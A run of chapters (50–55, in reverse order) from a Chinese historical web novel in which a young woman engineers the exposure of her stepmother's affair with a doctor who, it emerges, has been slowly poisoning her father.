“果然是你,我就知道是你!”秦氏的眼里像是要沁出血来,疯狂扑腾着,“你为何会知道我和乔禄之事?你从哪里得知的!” “你想知道?”叶绯霜挑眉,“可我偏不告诉你。” 秦氏怒极攻心,一口气没提上来。 只是她刚晕过去,叶绯霜就把她掐醒了。 秦氏浑浑噩噩的,还听见叶绯霜对看守她的家丁说:“你们都看见了,母亲好好的,我就和她说了几句话而已,我可什么都没对她做啊!” 家丁说:“是。” 秦氏眼睁睁地看着叶绯霜离开。 她走到门口时,又转过头来,朝她露出一个志得意满的笑。 秦氏想起来了。 叶绯霜刚回来那天,就这么朝她笑过。 那个笑容宣告开始。 这个笑容宣告结束。 第55章 添把柴 宛如水滴进油锅里,场面再度哗然。 太夫人抓住了关键词:“什么叫‘他知道乔大夫来找四夫人过夜’了?你把话说清楚!” 小厮都快哭了:“奴才……奴才也不清楚啊……” 峰回路转,卢氏又看到了希望。她压下忍不住翘起来的唇角,立刻道:“母亲,不如就由媳妇去见璐王世子吧。” 宁衡嘹亮的声音从祠堂门口传来:“不用了,本世子已经来了!” 折腾了大半宿,天都已经亮了。 宁衡带着数名护卫,在晨光照耀中,大步而入。 一群人高马大的男人中,宁衡身边跟着的那个女子就显得格外瞩目。 那女子身姿窈窕,宛如弱柳扶风,纱巾覆面,看不清脸。 但有人认出了她的衣服上的花纹,那是醉红尘统一的样式:“呀,这是醉红尘的姑娘!” “乔禄,你这混蛋!”桑彤看见乔禄,便指着他大骂,“你说你会为我赎身,娶我回家和你好好过日子。我信了你,一直等着你。我以为你对我一心一意,结果你竟和旁的女人有私情,你辜负了我!” 乔禄呆住了:“我什么时候说……” “你还不承认!我都发现了!”桑彤打断他,把怀里抱着的包袱扔在他脸上,“你瞧,这就是证据!” 包袱散开,里边的东西抖落出来,竟都是女子的私密衣物。 “我昨夜在你家等你,你却久久不回来。要不是我在你衣柜里找到这些,都不知道你还有旁的情人!这些东西都染上你柜子里的檀香了,想必藏了很久了吧?乔禄,我真是瞎了眼,错信了你!” 卢氏掩唇惊呼一声:“呀!这不是四弟妹的肚兜吗?” 她又伸手翻了翻:“四弟妹,你刚不是说你是被他逼迫的吗?怎么你的贴身衣物,会出现在乔大夫家里?” “定是这贱妇扯了谎!”太夫人怒道,“恐怕他们早就开始偷情了!这种贱妇,怎么配当我郑氏一族的夫人?断不能轻纵了她!否则,外头的人怕不是要觉得我们郑府有多腌臜!” 太夫人自认为看人很准。这个秦氏,她第一次见她,就不觉得她是个老实的。 果然,做出了这么不要脸的事。 太夫人手中的拐杖用力点了点地:“来人,把秦氏给我带到家庙去!” 郑老太太:“老婶子……” 太夫人这次不听她的了:“你刚才不是说了,若是秦氏私通,你第一个不容她?你既是秦氏婆母,又是她姑母,此事你避嫌,便不用管了,我来!我这把骨头虽然老了,也还是中用的!断不能容忍此等贱妇辱我郑家门楣,败我郑氏清誉!” 秦氏本以为自己逃出生天了,谁知道竟然又来了这么一遭。 她彻底慌了:“冤枉啊,天大的冤枉!这些东西根本不是我的,我没有和人私通!娘,你救我啊,我真是冤枉的!” 卢氏道:“这些衣服到底是不是你的,等问一问你院中人就知道了。四弟妹,你放心,若你真是冤枉的,太夫人定会还你清白的!” 这话卢氏说出来自己都觉得好笑。清白?秦氏哪里还有什么清白! 郑老太太还想阻止,但已经没办法了。 外人来了,这事就算是捅出去了,不是轻飘飘就能压下去的了。 宁衡让人把乔禄绑走,太夫人着人把秦氏绑走。 “把秦氏院子里的人都给我带过来,好好审问!”太夫人威仪道。 顿时,整个郑府鸡飞狗跳。 府上人人惊疑,平时四夫人最得老太太喜爱,连带着四夫人下头的奴才们也眼睛长在头顶,比旁的奴才高了一等似的。 现在那些奴才竟全都被带到后头小院里了,从外边经过都能听见里边打板子的声音呢! 四夫人出什么事了? 很快,就有些谣言传出来了。 “唉,你们听说没?四夫人和乔大夫有奸情……” “好像让三夫人抓了个现行!听说三夫人过去的时候,俩人还赤条条的缠在一块儿呢……” “我听到的是四夫人怀了乔大夫的孩子,肚子大了挡不住了,这才被从府里带走了!” 没过几天,在卢氏的严加审问下,秦氏院里的奴才们就都遭不住了,把自己知道的全吐了出来,也证明了从乔大夫家里找出的那些贴身衣物的确是秦氏的。 陶妈妈是秦氏的奶娘,在她身边时间最长、知道的最多。不过她嘴严,直到被活活打死,也一个字都没说。 “倒是忠心。”叶绯霜听到陶妈妈死了后,说。 她又问:“绿蕊呢?” “绿蕊没事,她伤得最轻,养几天就能好。” 府里打板子都是有讲究的。有的伤口看起来不严重,但伤筋动骨。有的伤口血肉模糊,其实一点事都没有。 陈宴看向叶绯霜:“怎么,这个绿蕊是你的人?” “那不是,是我嫡母院中做点心的,我恰巧救过她一次。” 陈宴了然:“桑彤拿的那些衣服,就是这个绿蕊带出来的吧?” 秦氏能和乔禄私通这么多年都没被发现,可见二人是谨慎的,不可能留下这么明显的把柄。 叶绯霜也没反驳。 铜宝又道:“听说老太太想从轻发落四夫人,但太夫人不同意。” 叶绯霜点头:“太夫人虽有个族长儿子,但无奈他们是旁支,事事都要被主家压一头。大事就罢了,后宅这点事说大不大说小不小,总不能再让主家一言堂了。更何况,这事还犯了太夫人最大的忌讳,她必然不会轻易算了。” 陈宴道:“我倒是好奇,请这位太夫人去制约郑老太太,这到底是五姑娘你的主意,还是三夫人的主意?” 叶绯霜很谦虚:“当然是我三伯母的主意,我哪儿有这脑子。” 陈宴:“我还以为是五姑娘的菩萨又托梦指点迷津了呢。” 叶绯霜:“……” 这可真是给人落下话柄了。 又过了几日,铜宝说家庙那边传出消息,想让秦氏在家庙里呆一辈子。 叶绯霜扬眉:“竟不是沉塘?” 看来太夫人还是没斗过郑老太太啊。 这可不行。秦氏和郑老太太这两个恶毒妇人,把她们一家害成什么样了,叶绯霜岂能遂了她们的意? 和人私通是后宅之事,族长他们这群男人不方便插手。 但要是扯上郑涟,可就不这么简单了。 那她就再添把柴。 于是,几日后,一封来自荥阳府衙的文书送到了郑氏族长的案头。 族长一看,气得差点没厥过去! 竟是乔禄招认,说这些年一直在联合秦氏给郑涟下慢性毒药,才致使郑涟久病不愈! 张庄别院也传来消息,说一个下人主动交代,她受了秦氏的命令,要给五姑娘下砒霜。 “毒妇,毒妇!”族长怒骂,“此等害夫杀女的毒妇,怎能再容她苟活于世!我要依照族规,为宗族除了这毒妇!” 第54章 护得住 秦氏被几个婆子扯出去,口中不断嚷嚷着:“我要见老太太!” 她虽然有些惊慌,但并没有崩溃,可见有底气。 卢氏冷眼乜她:“你以为老太太还会护着你?” “老太太当然会护着我!三嫂,你别把事办绝了。”秦氏狠狠瞪着卢氏,“咱们到底是妯娌,做人留一线,对你也好。” 也不怪秦氏这么底气十足。毕竟当初她闹出未婚先孕那么大的丑事,老太太都能给她瞒得严严实实的,还让她做了锦衣玉食的郑家四夫人,她还有什么可怕的? 就算她把天捅一个窟窿出来,老太太也能给她补上! 卢氏冷嗤:“那你便等着,看这次老太太护不护得住你!” 秦氏发现,这不是去老太太的鼎福居的路! 她竟然被带去了郑氏的祠堂! 秦氏的胸口像是被戳了个大窟窿,所谓的底气顿时没了一半。 这种事,不是应该由老太太私底下处理吗?为什么要开祠堂?! 卢氏看着秦氏煞白的脸,心底畅快,面露得色:“今日,我请了族中的长辈们过府做客。几个年纪大的,比如族长和太夫人,就在府中留宿了。” 秦氏瞪大眼,卢氏口中的太夫人是现任族长的娘,不到二十岁就没了丈夫,也没改嫁,自己一个人把孩子们拉扯大,还得了一块儿贞节牌坊。 这位太夫人为人十分尖酸刻薄,还迂腐,素日里就把女人的贞洁挂在嘴边。 这老太婆还不得把自己沉塘了? 秦氏还真没想错。 这位太夫人一看见她,手里的梨木拐杖就在她身上狠狠打了几下。 偏她被婆子们按着跪在地上,躲都没法躲,只能生生受了这疼。 “我郑氏一族,竟然会出这样的淫妇!”太夫人的声音苍老又沙哑,怒道,“这种有辱门楣的贱人,就该浸猪笼!” 她呼哧呼哧喘着气,显然是被气坏了。 卢氏连忙扶着她坐下:“太夫人,您别把自个儿气着了!” 这位太夫人是现在郑氏一族中辈分最高的,郑老太太都得叫她一声婶子。 郑老太太说:“婶子,咱们家的媳妇个顶个都是好的,这其中肯定有什么误会。” 她看向秦氏:“老四家的,到底是怎么回事?你说清楚!” 秦氏和郑老太太一对眼神,就明白了。 秦氏顿时掩面哭起来:“母亲,媳妇……媳妇是被人害了啊。那个男人他半夜闯进媳妇的房间,拿刀子威胁媳妇,让媳妇和他……媳妇还有儿女,不能死啊……” 太夫人盯着她:“你是说,你是被歹人强迫的?不是和人私通?” “我堂堂荥阳郑氏四夫人,我和一个大夫私通什么?他有哪里比四老爷好了?老天爷,我受了这么大的屈辱,还要背上这种骂名,我不活了啊……” 郑老太太一拍椅子扶手,怒骂:“真是岂有此理,一个开医馆的,竟欺负到我们郑府的夫人头上来了!这种色胆包天的淫棍,阖该被千刀万剐!” 顿时便让人去把乔禄宰了泄愤。 此刻,卢氏脑海中回响起叶绯霜让人转告她的话:“就算秦氏的丑事曝光,老太太会做的,也只是把那男人杀了,然后把此事压下来。秦氏什么事都不会有,她还是好好做她的四夫人,和三婶您争来斗去。” “那以后,她岂不是要更无法无天了?怕是真觉得这郑府要跟着她姓秦了。” “所以断不能让此事被压下来。我听说族中有位太夫人,守着贞节牌坊过了一辈子,最厌恶女人不贞。她是族长的娘,说话有分量,不妨请她来做主,她必不会让此事轻飘飘地揭过。” 卢氏暗叹,还真让她这侄女猜中了。 郑涟窝囊,靳氏怯懦,两人倒是生了个聪明闺女。 果然,如叶绯霜所料,太夫人登时便驳了郑老太太的处决。 “事情还没弄清楚,怎么就能把人杀了?兹事体大,必须弄个水落石出!若真是有人不检点,我绝不容她!” 说完,便让她儿子,也就是现任族长,把乔禄带过来。 几桶冰水下去,乔禄总算是醒了,但人还有点懵。 可一看这三堂会审的阵仗,还有被人压着衣衫不整的秦氏,那点懵顿时烟消云散了,他知道事情败露了! 卢氏问他:“乔禄,你为何会和我四弟妹厮混到一处?把话说清楚!敢有一句假话,小心你狗命!” 乔禄的脑子飞快转了起来。 和高门大户的女眷私通,这可是要丢命的! 秦氏说过,郑老太太特别疼她,就算她把天捅了一个窟窿,郑老太太也能给她补上。 所以,他得保住秦氏,这样秦氏才能反过头来再保他。 于是,乔禄当机立断,连连磕头:“老太太,是我喝多了黄汤,神智不清,才……才把四夫人……都是我的错,她是被我强迫的……我就只犯了这一次错,老太太饶命啊……” 这人还不算太蠢,郑老太太和秦氏齐齐松了口气。 秦氏适时嚎哭起来,宛如真的受了天大的委屈。 “可我到底不清白了,我今日便撞死在这里,和郑家的列祖列宗告罪!”秦氏装模作样地往墙上撞去,当然被郑老太太着人拦下了。 “说到底,也不能全怪你,是咱们引狼入室了。”郑老太太看向卢氏,“老三家的,给府中人看诊的大夫竟是这么个淫棍,你这管事的却一直都没有察觉!” 对卢氏来说,平白被扣了一口锅,她才是真冤枉。 但她还是跪下请罪:“母亲恕罪,是媳妇疏忽了。” “罚你半年月银以示警醒,你回头好好整顿整顿府里的人!” 卢氏不甘却又无可奈何:“是。” “老四家的,念在你是被胁迫的,便罚你一年禁闭,你好好闭门思过!” 和浸猪笼比起来,关一年禁闭真的是轻到不能再轻了。 太夫人明显对这个处罚不满:“你这是在包庇纵容!” “老婶子,得饶人处且饶人啊。”郑老太太说,“到底是咱们家里的小辈,咱们得心疼她们啊!若老四家的真干出私通那种事,我第一个不容她!可她也是遭了横祸,让歹人害了,我这当娘的得给她做主啊!” 太夫人冷笑:“以后谁家姑娘干出丑事,只要都说自己是被逼的,就可以万事大吉了?那这世上岂不是要乱套了!” “老婶子,你这话说的。咱们郑家的姑娘都是好教养,可干不出这种事。旁人家的,和咱们又有什么关系?”郑老太太扫视一圈周围众人,“咱们这么一大家子,最重要的是和和美美,可不能自相残害啊。” 这话一出,就是一锤定音了。 秦氏的惊慌尽数褪去,得意地瞥了卢氏一眼,像是用眼神在问:你瞧,老太太护不护得住我? 卢氏的指甲都掐进了手心里。 郑老太太又说了些体面话,就准备让大家散了。 谁知此时,一个小厮急匆匆跑进来禀告:“外头来人了,说要捉拿回春馆的乔大夫!” 郑老太太斥道:“荒唐,回春馆的大夫就去回春馆抓,来我们府里做什么?是何人这般放肆!” “是,是璐王世子!”小厮以头抢地,颤颤巍巍地说,“他说……他知道乔大夫今天来找咱们府上的四夫人过夜了,乔大夫现在是朝廷要犯,他只能来咱们府上抓人了……” 第53章 丑事露 叶绯霜很快就见到了三婶卢氏派来送灵芝的人,是卢氏的心腹妈妈。 “劳烦妈妈告诉三婶,这段时间多盯着点四房。听说六妹妹最近不太好,别再干出什么丑事来。” 妈妈目光微闪:“老奴明白。” “四夫人身边有个点心娘子叫绿蕊,手艺很好,三婶可以尝尝她做的点心。” 妈妈心领神会:“老奴回去便去找这个绿蕊。” 府衙里。 宁衡和卢季同差点被漫天的状子淹了。 璐王把璐王府的幕僚和府臣全都派了过来,总算救了二人狗命。 一群文人唉声叹气,直道荥阳官场从上到下已经彻底烂透了。 有这样的父母官,百姓的日子能好起来才怪了。 第三日,宁衡终于收到了他师父说的那张,状告回春馆乔大夫的状子。 师父特意叮嘱过的,那就证明这案子至关重要。 于是宁衡亲自带着官兵去了回春馆,把里边的一众大夫和学徒全都缉拿了。 乔大夫不在馆里,宁衡在热心百姓的带领下,去了乔大夫家,但令人惊讶的是,乔大夫竟然也不在府里。 别院里,铜宝匆匆来向叶绯霜禀报:“姑娘,乔大夫今日去府上给四老爷请脉了。” 叶绯霜扬起唇角:“好。” 时机到了。 她能做的都做了,希望她三伯母也能一切顺利,拿人拿双。 —— 知府府衙这几天的动静,也传到了郑府。 秦氏倒是不怎么在意。毕竟上头有老太太顶着,轮不到她烦心。 她只为郑茜媛忧心。自打知道自己在诗会上出丑的事被编成话本子传遍荥阳城后,郑茜媛就崩溃了。 “一定是叶绯霜把诗会的事情传出去的,她要毁了我!”郑茜媛哭得面目狰狞,“我要杀了她,她敢害我,她就得死!” 秦氏安抚女儿:“傅湘语已经去别院了,跟着她的人里有我派去的。你放心,娘不会让那个小蹄子有命回来的!” 听到这话,郑茜媛的情绪总算略微平复了一些。 秦氏连忙把一边的新衣裳拿过来:“媛儿,看娘给你裁的衣服,都是最好的京绸!三房都没有,娘都给你拿过来了!” “真的?三房没有,只有我有?” “对呀,你三伯母还想和我抢呢,老太太不还是全都给我了?”秦氏得意地说。 不光是这料子,还有中秋各个铺子和庄子进的东西、京城赏赐下来的节礼,她都挑了最好的拿回来了。 卢氏一样都没从她手里抢走。 秦氏一想到卢氏那吃瘪的脸就想笑,有种狠狠出了口恶气的爽快感。 等郑茜媛睡下了,秦氏才疲惫不堪地回自己的房间。 她闭上眼,任由陶妈妈给她捏腰:“自打那个小贱人回来,这出了多少事了!” 陶妈妈也跟着骂道:“那小蹄子就是个害人精!阖该死在外边!” 没多久,房门处传来三长两短的熟悉声响,陶妈妈低声道:“来了。” 秦氏睁开眼:“今儿不是他过来的日子啊。” “许是乔大夫见夫人这段时间太累了,也记挂着夫人呢。” 人一累起来,就格外的脆弱。尤其像秦氏这种,身边长时间没个人的,就急需安抚。 她对陶妈妈说:“让他进来吧。” 今日的乔大夫是特意打扮过的,青色直裰,乌巾束发,腰带上垂着玉佩和扇坠,不像是个大夫,倒像是个官老爷,看得秦氏眼睛都亮了。 秦氏柔声问:“今儿怎么突然来了?” “刚去给那病秧子诊脉了。你忘了?我现在请脉请得很勤。” 秦氏揉了揉太阳穴:“我还真是忘了。” 乔大夫给她按头,慢悠悠道:“等明年,郑涟差不多就能毒发身亡了,到时候四房的财产就全都是你的了,然后我想把回春馆建得大一点。” 秦氏轻哼一声:“就知道你又打我银子的主意呢。” 乔大夫连声叫她心肝:“我的不就是你的么?” “哼。” “别忘了把那个靳氏早点料理了,她虽是个妾,也是能分银子的,咱们的银子可不能给了她。” 秦氏懒散道:“好说,我一剂毒药下去就送她见阎王了。” 两人你侬我侬,和往常一样说说话、吃吃点心喝喝茶,最后滚到了床上。 这些年来,秦氏都是这么过来的,她和乔禄偷情偷得已经熟门熟路了。 一般乔禄和她厮混两个时辰就走了,不会在这里过夜。但今天不知道怎么了,乔禄觉得身子沉得厉害,不想走。 秦氏也觉得芙蓉帐暖,不想失去这样的温存旖旎,索性就留乔禄过夜了。 可谁知道,她就这么一心软,竟然就出事了。 半夜三更,她和乔禄还在睡梦中,四房正院外边忽然亮起了许多火把。 秦氏被动静吵醒,不耐烦地问:“怎么了?” 陶妈妈闯进来,慌道:“夫人,不好了,来了好多人……” 秦氏一惊,睡意顿时没了:“什么?” 她转头推乔禄:“快起来啊,别睡了!” 可乔禄就和头死猪似的,她怎么都推不醒。 院中传来脚步声和争执声,有人闯进来了! 秦氏一头冷汗,来不及了,只能把乔禄藏到床最里边,用被子把他盖好。 她刚一下床,卢氏就带着一群婆子,气势汹汹地冲进房间。 “三嫂,你这是什么意思?”秦氏强装镇定。 “四弟妹,你还好意思问?你自己干了什么好事你自己心里明白!” “我干什么了?三嫂,你可别诬陷我!” 卢氏指着她身后:“你床上有谁?” 秦氏脑袋嗡的一声,脸色煞白,差点没站稳。 卢氏冷哼:“来人,给我搜她的床!” 秦氏张开双臂拦住:“放肆,我是郑府的四夫人,你们这群奴才……放肆!” 可卢氏哪里会听她的?顿时一群婆子便涌过来,把秦氏挤到一边,把她床上的乔禄拽了下来。 见四夫人床上竟然真的藏了个男人,其它人全都惊呼起来。 秦氏腿一软,跌坐在地。 她脑子里只有两个字:完了。 卢氏目光炯炯,高声喝道:“来人,把这贱妇给我带走!” 第52章 三件事 回到别院时,叶绯霜发现,傅湘语竟然来了。 她穿了一袭素白锦裙,坐在院中的石凳上,在身后一丛木芙蓉的映衬下分外好看。 傅湘语热情地说:“五妹妹,你这是去哪儿了?我都等你半天了。” “去村子里转了转。”叶绯霜乖巧回答。 傅湘语打趣她:“你就是村子里长大的,一来这儿,可不就和回家似的么?比在府里自在多了吧?” 叶绯霜恍若听不出她的嘲讽,老实巴交地点头:“是呀。” “你要是喜欢,就多在这里住一段时间,暂时别回府。六姑娘这段时间脾气大得很,你要是回去,肯定受她欺负。” 叶绯霜明知故问:“六妹妹怎么啦?” 傅湘语眼中闪过一抹幸灾乐祸:“还不是诗会那事么……不知道怎么就传出去了,还被说书先生们编成了话本子,现在整个荥阳城都知道了……” “哎呀,那外头的人岂不是都笑话六妹妹呢?” “可不嘛,所以六姑娘生气啊,天天在家里打鸡骂狗的。你要是回去,她肯定找你麻烦。” 叶绯霜立刻点头:“谢谢傅姐姐提醒,我知道了。” 傅湘语摸了摸叶绯霜的脸:“脸上的肉少了好些,这些日子吃苦了吧?唉,听说你和二姐姐遇到了匪徒,把我可担心坏了,我是吃也吃不下睡也睡不着。” 叶绯霜心道你这茶饭不思的哪儿是惦记我和二姐姐,分明是惦记着陈宴。 知道了陈宴在别院,这不就快马加鞭赶来了。 说实话,傅湘语能来,叶绯霜是真挺高兴的。 要是傅湘语能把陈宴缠住,让陈宴别总是在自己跟前晃,叶绯霜还要谢谢她呢。 叶绯霜和傅湘语虚伪又热情地寒暄了半天,傅湘语才从叶绯霜的院子离开。 很快小桃就进来禀告:“傅姑娘没回她院子,而是去了陈公子那边!” 叶绯霜一点儿都不意外:“噢。” “姑娘,您怎么不着急呀?这傅姑娘明明就是冲着陈公子来的!” 叶绯霜:“你三哥回来了没?” 小桃:“……刚回来。” “把他叫来。” 小桃跺了跺脚,转身去了。 她都急死了,姑娘怎么不着急啊? 陈三郎要是真让傅姑娘抢走了,可怎么办啊? 很快,铜宝过来了。 “那天奴才拿着国公府的令牌去了府衙,可知府大人却说令牌是假的,非但不给奴才调人,还把奴才关了起来。 但知府大人也一直没审奴才,就是把奴才关着,饭食什么的也都给了。” 叶绯霜道:“曹崖知道你是冤枉的,当然不会审你。” 铜宝面露疑惑:“那知府大人为何不派人?” “因为曹崖已经知道了我和二姐姐遇袭那件事是四夫人做的。如果他真的派了人过来,四夫人再来这么一次,曹崖的人要怎么办? 护着我们,岂不是耽误了四夫人的事?不护着我们,岂不是要落个办事不力的罪名?” “他不派人,能避免很多麻烦。即便我们去质问他,他也能狡辩说自己办事严谨,觉得国公府的令牌是假的,才不敢轻易调人。” 铜宝恍然,原来是这样。 “你去给我办三件事。”叶绯霜又说。 铜宝忙道:“姑娘尽管吩咐。” 在下人眼中,主子的吩咐代表了器重。当下人的从不怕麻烦,就怕没活干。 叶绯霜提笔写了一封简信,递给铜宝:“你把这个送到醉红尘的桑彤姑娘手里去。” 铜宝躬身接过:“是。” “送完后,你去八街胡同,胡同最里边有间稻草房,住着个疯疯癫癫的女人。你对她说,时机到了,现在可以去府衙状告回春馆的乔大夫了。” “是。” 看着铜宝波澜不惊的脸,叶绯霜很满意。 铜宝不可能不认识乔大夫。他听到她让人状告乔大夫,既不惊讶也不疑惑,很懂分寸。 “最后一件,你回郑府,找三夫人,让她派个可靠的人来给我送点灵芝,我要熬药补身子。” “是。” “去吧,这次的事情彻底结束后,我会给你寻一个好差事。” 铜宝赶车技术不错,马骑得也不错,还会点拳脚功夫。之前一直在角门看门,实在是有点屈才了。 铜宝再次跪地:“奴才只想跟着姑娘。” 叶绯霜笑起来:“行,我应了,你去吧。” 叶绯霜看了一眼天色,去找郑茜静。 时值深秋,天气凉寒下来,郑茜静的身子愈发的不好了,房间里都烧上了炭盆。 见叶绯霜终于来了,郑茜静忙不迭地招手:“快给我讲讲,你们都干了啥事?可把我好奇死了。” 叶绯霜把府衙的事说了一遍,又道:“我借用了二姐姐的名号,二姐姐别怪我啊。” “这是什么话。”郑茜静道,“一个名头而已,你随便用。” 自从叶绯霜帮自己挡了那致命的一击,郑茜静就把她当亲妹妹看了,她做什么都行。 月影问是不是要摆饭了,郑茜静说:“摆摆摆,今天我让人做了什锦珍珠锅子,你去把陈三郎请来,我们一起吃。” 很快,陈宴来了。 瞧见跟在他身后的傅湘语,郑茜静顿时胃口没了大半。 傅湘语笑着说:“我正和陈公子论经呢,一听二姑娘这里摆饭了,便来蹭一顿,二姑娘别嫌我打扰才是。” 郑茜静惯是个体面人,才不会因为一顿饭就给人脸色,让月影加凳子碗筷。 傅湘语落座后,又继续和陈宴说话。 他们谈的是《楞严经》。 拜前世的陈宴所赐,叶绯霜也追随他的脚步看过很多经书。 但她到底境界不够,无法彻底参悟其中奥妙。 不过足以让她听懂傅湘语和陈宴在谈什么了。 傅湘语一个没什么阅历的年轻小姑娘论起佛经来,实在有些空洞,听起来索然无所。 不过她还是诚挚道:“傅姐姐说得真好。” 傅湘语明知故问:“五姑娘也看过经书吗?都看过什么?” “怎么可能!”叶绯霜一摆手,“我都不识字的,怎么可能和傅姐姐陈公子看一样的东西。” 陈晏瞥了叶绯霜一眼,见她正转着眼珠看他和傅湘语,脸上明显写着:你俩真般配。 陈晏顿时有些食不下咽。 傅湘语继续展露才华:“陈公子,就说那十因十果……” “傅姑娘。”陈宴打断了她的话,“食不言。” 傅湘语一愣,有些讪讪:“是。” 她哪里说的不对吗?感觉陈三郎脸色一下子就冷了。 丸子在沸腾的锅里起伏,叶绯霜瞅准一个,稳准狠地下筷。 没夹上来,因为她的筷子被陈宴的筷子按住了。 陈宴看着她,声调冷冷:“羊肉是发物,要少吃。” “我吃得不多。” “你已经吃掉五个羊肉丸子了。” 叶绯霜无语,有毒吧这人,不专心吃饭,数她吃了几个丸子? 叶绯霜提醒他:“陈公子,食不言。” 郑茜静:“噗。” 陈宴恍若不问,夹起一枚云菇卷放她碗里,慢声道:“想早点出去跑马,就好好养身体,别不当回事。” 傅湘语看看陈宴,又看看叶绯霜,不自觉地捏紧了手中的筷子。 陈宴和她论经的时候宛如在云端之上,高不可攀。可是和叶绯霜一说话,他忽然就有了烟火气,落到了人间。 第51章 起疑心 叶绯霜面无表情地看着他:“陈公子怎么不先解释解释,为什么要跟踪我呢?” “自然是怕五姑娘有危险。”陈宴说得冠冕堂皇,“五姑娘为了郑二姑娘受的伤害还没完全好,又因为王爷和世子添了新伤。这新伤旧伤加一块,我怎么放心让五姑娘单独行动?” “陈公子真是关心我。” “那是自然。”陈宴道,“别转移话题,五姑娘,回答我的问题。” “你别管那么多。”叶绯霜手一挥,“我自有我的办法。” 从假山那里,陈宴出现在她身后那一刻起,叶绯霜就知道这他娘的完了呀! 这是真不好解释,因为曹崖这个私牢真的非常隐蔽。 前世,曹崖倒台后,上边派人来查封他的府邸,都没有发现这个私牢。 还是几年后,荥阳发了一次大水,府里的林子塌了,大家才发现林子下边竟然别有洞天,仔细一看是个私牢。里边白骨皑皑,不知道死了多少人。 得知此事的陈宴很生气,把曹崖狠狠骂了一通。每句话前边都加了“你们荥阳”四个字,让叶绯霜觉得他把自己一块儿骂进去了。 “牢房怎么能建在地底下呢?”她当时问,“从哪儿进去啊?” “府衙后院有座假山,入口就在那里,特别小的一个口子。” 也幸亏知府府后院不大,就只有一座假山。 叶绯霜今天带着答案找,终于在一个很隐蔽的地方看到向下的台阶。 “今天跟着五姑娘,我看见五姑娘直奔那座假山去了,都不带犹豫的。” 陈宴说,“曹崖做了二十多年知府,怕是他的妻妾子女都不知道这座私牢的存在,我真的好奇五姑娘到底是如何得知的。” 叶绯霜知道不管自己编什么理由都会被陈宴问到底,以防圆不回来,她选择了最没有逻辑的说法:“此乃上天助我。” 陈宴:“哦?” 叶绯霜神神叨叨的:“有菩萨给我托梦了,在梦里告诉我的。” 陈宴:“……” 他难得露出这种无语的表情,叶绯霜竟然隐隐有种终于在口头上赢了他一次的暗爽感。 叶绯霜自信起来,摊摊手:“这就是实话,你要是不相信我也没办法。” “五姑娘觉得我很好骗?” “哎呦,这怎么会呢!”叶绯霜一拍大腿,“谁敢骗你陈三郎啊!” 她从反面问:“自打我回了郑府,不说一举一动吧,我的大致动向陈公子都知道吧?那您说说,除了菩萨给我托梦,我还能怎么知道呢?” 陈宴靠在车壁上,修长的手指在小几上一点一点的,这是他思考的时候惯有的动作。 她竟然把陈三郎问住了,难得。 叶绯霜有点开心地端起茶杯喝茶。 冷不丁,忽听陈宴说:“我感觉五姑娘似乎可以预知一些将要发生的事情。” “噗……”叶绯霜一口茶水还没咽下去就喷了出来,她咳嗽着,一颗心跳得几乎要从嗓子眼里蹦出来。 陈宴拿出一方帕子递给她。 叶绯霜没接,用袖子直接抹了抹嘴:“陈公子,你不觉得你这话比我那菩萨托梦还离谱吗?” 陈宴把帕子放在她腿上,兀自分析起来:“今日,五姑娘找到了曹崖的私牢。再往前,五姑娘救了璐王父子。” “我不都说了吗?我那天是偷溜出去跑马的,碰巧遇到了落难的王爷和世子。” 为了不显得太突兀,她还提前好几天就预热了。那几天她每天都想往外溜,被陈宴逮住好几次。 关于搭救璐王父子的事,陈宴早就问过她了,她给出的解释也都合情合理,甚至还说明了自己为什么会出现在密林里—— 因为官道被落石堵住了,她觉得蹊跷,就转向小路,没多久就听见了呼救声。她是个路见不平的性子,顿时就拔棍相助了。 现在,叶绯霜说:“我要真能预知未来,我直接多带点人去庇阳山救驾,省得我还被射了一箭。要是那箭上有毒,我不就一下子死那儿了吗?” 陈宴没再继续说这事,不知道是信了还是没信。 转而道:“五姑娘总想和我退婚,难道也是菩萨给你托了梦,告诉你不要嫁给我?” “……这倒没有。” 她得把握度,离谱也得有个限度。 叶绯霜违心地说:“你陈三郎人中龙凤,想必菩萨也喜欢。就算菩萨给我托梦,估计也会说让我好好把握这门婚约,早日嫁给你。” “那五姑娘努努力,争取早点把这个梦做了。五姑娘这么信奉菩萨,肯定会遵守菩萨的妙言,和我早日完婚。” 他的声音清朗温润,语调都没有起伏,可叶绯霜却听出了十足的阴阳怪气。 叶绯霜没再说话。 她只觉得头疼。 陈宴对她起疑了。 以他的性子,以后岂不是要时时盯着她? 算了,盯就盯吧,只要她不承认她有“预知未来”的能力,他能有什么办法?毕竟这事除了天地鬼神,就只有她自己知道。 就好比她刚刚说的“菩萨托梦”,她咬死了不改口,陈宴也没办法,总不能严刑逼供。 叶绯霜又安心了。 “五姑娘方才指认曹崖的那一通话,很精彩。”陈宴又道,“想不到五姑娘大字不识,却能对各位大人的事迹如数家珍。” 他看向叶绯霜,轻轻扬了扬修长俊挺的眉:“这也是菩萨托梦告诉五姑娘的?” 这个叶绯霜早有准备,不慌不忙道:“我们村里以前有个穷秀才,喜欢卖弄文采,也爱讲些官场上大人们的事迹,我就是从他那儿听的。” 这个解释陈宴倒是不怎么怀疑,毕竟这样的人多的是。 就好比一些百姓离皇宫十万八千里远,却能把皇上和娘娘们的艳事说得头头是道。 叶绯霜斜眼看着陈宴,有些心累。 明明他们可以一别两宽各自安好,为什么她得天天和他斗智斗勇。 他赶紧走吧,他到底什么时候走啊,他怎么还不走啊! 叶绯霜掀起车帘,看了一眼窗外,幽幽叹了口气。 陈宴问她:“怎么?” “怎么才秋天啊。”叶绯霜说,“赶紧过年吧。” “五姑娘盼着过年?” “是啊,过年多热闹,有那么多好吃的、好玩的,我正好想看看荥阳这种大城池里的人是怎么过年的呢。” “原来是因为这个啊。”陈宴不紧不慢地说,“我还以为五姑娘是盼着过了年,我进京会试,五姑娘就能摆脱我了呢。” 叶绯霜:“……” 谁来救救她? 第50章 我抱你? 亲信刚跑出两步,就被一颗石子打到腿,狠狠跌了一跤。 叶绯霜左手拿着弹弓,右手还搓着两颗过来路上捡的小石子,问:“你这是要去哪儿啊?” 话落,她看向上头的宁衡。 宁衡顿时心领神会,一拍惊堂木:“来啊,把曹崖和他身边的人都严加看管起来,一个都不准离开府衙!” 府兵们面面相觑,不知道该不该听。 宁衡真火了,腾地一下站起来,指着这些人大骂:“睁大你们的狗眼,好好认认爷是谁!爷是璐王世子,皇家人!还比不上曹崖这狗贼? 你们连爷的话都不听,小心爷写信给皇伯伯,把你们一个个的满门抄斩,不对,株连九族!” 